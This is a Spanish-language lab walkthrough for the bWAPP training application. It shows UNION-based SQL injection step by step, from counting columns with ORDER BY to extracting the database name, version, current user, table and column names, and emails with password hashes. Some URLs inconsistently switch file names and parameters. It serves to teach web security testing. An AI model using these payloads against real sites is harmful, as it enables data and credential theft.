**Injection - SQL injection**

1. Selecciona la vulnerabilidad **SQL Injection (GET/Search)** y "Hack".
2. Explora el formulario vulnerable. Verás un formulario con un campo para ingresar una búsqueda (generalmente llamado title o id). Ingresa un término simple, por ejemplo, test, y haz clic en Search. La URL generada de esa busqueda será algo como:



**Descubre el número de columnas**

1. Para identificar cuántas columnas devuelve la consulta original, realiza una prueba utilizando la siguiente inyección. Probemos con la consulta ORDER BY:

* ***http://<tu\_ip>/bWAPP/sqli\_1.php?title=test' ORDER BY 1-- &action=search***

Si no ves ningún error y solo un "not found", significa que la consulta tiene al menos una columna.

1. Incrementa el número del ORDER BY para seguir verificando hasta que obtengas un error de sintaxis. Por ejemplo:

* ***http://<tu\_ip>/bWAPP/sqli.php?title=test' ORDER BY 2-- &action=search***
* ***http://<tu\_ip>/bWAPP/sqli.php?title=test' ORDER BY 3-- &action=search***
* ***http://<tu\_ip>/bWAPP/sqli.php?title=test' ORDER BY 4-- &action=search***

Cuando llegues al número donde obtienes un error, significa que la consulta tiene una columna menos de la última que probaste con éxito.



**Inyección con UNION SELECT**

Una vez que hayas determinado el número de columnas, utiliza una inyección UNION SELECT para extraer información. Por ejemplo, si hay 7 columnas, puedes probar con:

* ***http://<tu\_ip>/bWAPP/sqli.php?id=1' UNION SELECT 1, database(), version(), 4, 5, 6, 7-- &action=search***

Esto te mostrará el nombre de la base de datos y la versión del servidor SQL.

A screenshot of a computer

Description automatically generated

**Exploración de nuevas funciones**

Ahora que has obtenido la base de datos y la versión del servidor, puedes explorar más funciones para obtener información adicional.

Obtención del nombre del usuario actual:

* ***http://<tu\_ip>/bWAPP/sqli\_1.php?title=test' UNION SELECT 1, 2, user(), 4, 5, 6, 7-- &action=search***

Obtención de los nombres de las tablas.

Realiza una consulta UNION SELECT para acceder a la tabla information\_schema.tables, que contiene los nombres de las tablas en la base de datos actual. Si el número total de columnas es 7, usa la siguiente URL:

* ***http://<tu\_ip>/bWAPP/sqli\_1.php?title=test' UNION SELECT 1, table\_name, 3, 4, 5, 6, 7 FROM information\_schema.tables WHERE table\_schema=database()-- &action=search***

**En esta consulta:**

* table\_name es la columna que contiene los nombres de las tablas.
* table\_schema=database() limita la consulta a la base de datos actual.

Siempre asegúrate de que las columnas en la consulta UNION SELECT coincidan con el número de columnas en la consulta original. La salida debería mostrar los nombres de las tablas disponibles en la base de datos.

A screenshot of a computer

Description automatically generated

Obtener nombres de columnas.

Una vez que tengas los nombres de las tablas, obtén las columnas de una tabla específica. Por ejemplo, si una de las tablas se llama users, usa:

* ***http://<tu\_ip>/bWAPP/sqli\_1.php?title=test' UNION SELECT 1, column\_name, 3, 4, 5, 6, 7 FROM information\_schema.columns WHERE table\_name='users'-- &action=search***

Esto te devolverá los nombres de las columnas en la tabla users.

A screenshot of a computer

Description automatically generated

Obtener datos sensibles.

Finalmente, extrae información sensible. Si descubres una columna llamada password, puedes obtener las contraseñas (o sus hashes) con la siguiente consulta:

* ***http://<tu\_ip>/bWAPP/sqli\_1.php?title=test' UNION SELECT 1, email, password, 4, 5, 6, 7 FROM users-- &action=search***

A screenshot of a search box

Description automatically generated